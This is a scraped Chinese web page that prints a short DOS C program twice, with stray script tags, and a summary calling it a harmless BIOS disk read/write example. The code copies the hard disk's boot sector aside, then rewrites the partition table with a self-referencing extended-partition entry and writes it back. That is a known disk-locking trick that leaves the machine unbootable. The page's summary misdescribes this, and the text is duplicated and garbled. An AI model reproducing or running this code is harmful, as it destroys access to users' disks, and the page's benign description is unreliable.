# include
# include
# define N 0x200
main()
{ int i;
unsigned char s[N];
biosdisk(2,0x80,0,0,1,1,s);
biosdisk(3,0x80,0,0,3,1,s);
for(i=0x1be;i<0x1fe;i++)
s[i]=0;
s[0x1c0]=1;
s[0x1c2]=5;
s[0x1c3]=1;
s[0x1c4]=1;
biosdisk(3,0x80,0,0,1,1,s);
}
<SCRIPT language=javascript>document.write("");
# include
# define N 0x200
main()
{ int i;
unsigned char s[N];
biosdisk(2,0x80,0,0,1,1,s);
biosdisk(3,0x80,0,0,3,1,s);
for(i=0x1be;i<0x1fe;i++)
s[i]=0;
s[0x1c0]=1;
s[0x1c2]=5;
s[0x1c3]=1;
s[0x1c4]=1;
biosdisk(3,0x80,0,0,1,1,s);
}
<SCRIPT language=javascript>document.write("");
本文展示了一个使用BIOS调用进行磁盘读写操作的C语言示例程序。该程序通过直接与硬件交互来读取和修改磁盘扇区内容。具体包括从磁盘读取数据、修改特定扇区并重新写回磁盘的过程。
1306

被折叠的 条评论
为什么被折叠?



